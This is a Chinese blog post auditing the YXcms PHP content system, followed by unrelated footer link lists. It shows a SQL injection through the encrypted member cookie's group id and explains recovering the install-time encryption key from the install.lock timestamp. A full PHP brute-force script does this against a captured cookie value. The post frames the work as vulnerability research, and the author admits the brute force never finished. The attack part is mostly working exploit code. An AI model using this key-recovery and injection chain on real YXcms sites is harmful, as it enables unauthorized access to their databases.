这个cms很久前做过代码审计,很多问题,但是经过这么长时间,现在安全性提高了不少,这几天看了下,基本没有什么特别大的问题了(不包含后台)。

在yxcms/protected/apps/member/controller/indexController.php中,index方法,有如下代码:

$group_id=$this->auth['groupid']?$this->auth['groupid']:1;
$notallow=model('memberGroup')->find("id={$group_id}");

这里从$this->auth里取出groupid,并且直接带入sql语句,明显是注入。查查auth如何来的,跟入到yxcms/protected/apps/member/memberApi.php里,powerCheck方法,看到是cookie里带入的,而cookie里的数据都是加密过的:

function get_cookie($var,$key='',$pre='')
{
if(function_exists('config')){
$key=$key?$key:config('ENCODE_KEY');
$pre=$pre?$pre:config('COOKIE_PRE');
}
$var = $pre.$var;
return isset($_COOKIE[$var]) ? cp_decode($_COOKIE[$var],$key) : '';
}

这里用解密函数cp_decode将之解密,并返回,跟入解密函数,发现解密函数只需要一个key即可。而key是哪里来的?跟入,发现在安装时随机产生:

$this->randomcode= substr(cp_encode(time()),-6);`

cp_encode函数将当前时间戳加密,取后六位得到key值,跟入cp_encode:

function cp_encode($data,$key='',$expire = 0)
{
$string=serialize($data);
$ckey_length = 4;
$key = md5($key);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = substr(md5(microtime()), -$ckey_length);
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey); $string = sprintf('%010d', $expire ? $expire + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++)
{
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++)
{
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++)
{
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
return $keyc.str_replace('=', '', base64_encode($result));
}

看到这里还有一个变量,microtime(),这个函数返回一个字符串,内容是微秒数加空格加当前时间戳。如果知道这个字符串,就能生成key了。

又知道,当安装时,会生成install.lock,我们访问下,可以从header里得到last-modified,这样就知道了时间戳的值了。但是微秒数就需要枚举了,微秒数共8位,也就是从0.00000000到0.99999999。

因为普通用户登录,就会分配一个yx_auth的cookie,也就是一个经过加密的字符串,而原字符串里包含用户的名称。并且,因为加密和时间有关,解密却不需要时间。

所以综上,可以写一个爆破脚本,遍历所有微秒数,生成key,然后用key生成一个sql注入字符串,再访问漏洞页面即可。

脚本:

<?php
//var_dump(urlencode(cp_encode('1\t2\'\tsunrain\tsunrain\'\t127.0.0.1\t\t',"yXBgXe",0)));
//var_dump(urlencode(cp_encode('',"yXBgXe",0)));
//get_cookie();
//exit;
date_default_timezone_set("PRC");
$wanted = "b2b7yaO6VlLYO/ygLYZ2iB6fj3AO0QIlBMUEKMxHPssWX7EKIaqQGgA0QmfkMnPmMDVMzTv0oA51WdbnEojLjA2eTyvxnQ";
$i = 0;
$sec = strtotime("Wed, 21 Sep 2016 07:35:20 GMT");
while($i<=99999999)
{
echo ($i/99999999.0)*100;
echo "%\n";
$mytime = sprintf("0.%08d", $i);
$mytime .= " ".$sec;
$i+=1;
$key = substr(my_cp_encode($mytime, $sec),-6);
$got = cp_decode($wanted,$key);
if(strpos($got, 'sunrain')!==false){
echo $key;
exit;
}
}
function get_cookie()
{
$key = "M9/MGX";
return cp_decode("b2b7yaO6VlLYO/ygLYZ2iB6fj3AO0QIlBMUEKMxHPssWX7EKIaqQGgA0QmfkMnPmMDVMzTv0oA51WdbnEojLjA2eTyvxnQ",$key);
}
function my_cp_encode($mytime, $data,$key='',$expire = 0)
{
$string=serialize($data);
$ckey_length = 4;
$key = md5($key);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = substr(md5($mytime), -$ckey_length);
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey); $string = sprintf('%010d', $expire ? $expire + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++)
{
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++)
{
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++)
{
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
return $keyc.str_replace('=', '', base64_encode($result));
}
function cp_encode($data,$key='',$expire = 0)
{
$string=serialize($data);
$ckey_length = 4;
$key = md5($key);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = substr(md5(microtime()), -$ckey_length);
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey); $string = sprintf('%010d', $expire ? $expire + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++)
{
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++)
{
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++)
{
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
return $keyc.str_replace('=', '', base64_encode($result));
}
function cp_decode($string,$key='')
{
$ckey_length = 4;
$key = md5($key);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = substr($string, 0, $ckey_length); $cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey); $string = base64_decode(substr($string, $ckey_length));
$string_length = strlen($string); $result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++)
{
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++)
{
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++)
{
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return unserialize(substr($result, 26));
}
else
{
return '';
}
}
?>

不过,这样枚举还是很慢,我跑了几个小时,还是没跑出来……

所以,直接用config.php里的key值生成了一个有问题的字符串,然后访问localhost/yxcms?r=member/index/index:

所以,这个漏洞还是有些限制,就是需要知道key值。不过,还是可以爆破出来的,理论上…………

最新文章

  1. Java 流(Stream)、文件(File)和IO
  2. shell 中变量前&quot;?&quot;的作用
  3. RabbitMQ小结
  4. php优点
  5. redis windows
  6. 离线渲染中的不规则光源(Meshlight)
  7. HealthKit开发教程之HealthKit的复合数据
  8. 快速将excel数据保存到Oracle数据库中【转】
  9. 使得&lt;li&gt;在一行显示,去除浮动的方法
  10. jquery selector 使用方法
  11. ios开发之网络数据的下载与上传
  12. MySql命令的基本操作
  13. Codeforces Round #143 (Div. 2) (ABCD 思维场)
  14. [基础架构]PeopleSoft都有哪些进程运行在进程服务器上
  15. opencc 繁体简体互转 (C++示例)
  16. HDU 4960 Another OCD Patient(记忆化搜索)
  17. CDN工作机制和负载均衡
  18. [Swift]LeetCode704. 二分查找 | Binary Search
  19. LOJ #2721. 「NOI2018」屠龙勇士(set + exgcd)
  20. 跳过从Win7/8升级,直接格式化全新安装 Windows 10 并自动永久激活系统的方法教程

热门文章

  1. AdaBoost笔记之原理
  2. ZK4字命令
  3. Openstack nova-scheduler 源码分析 — Filters/Weighting
  4. Spark 调优之ShuffleManager、Shuffle
  5. 剑指offer——09青蛙跳台阶
  6. Nginx:413 Request Entity Too Large 的解决方法
  7. Round Numbers /// 组合计数 oj21455
  8. iOS进阶五-RunLoop
  9. H5点击拨打电话,发短信
  10. vs2013x64&amp;&amp;qt5.7.1编译osg3.4.0&amp;&amp;osgEarth2.7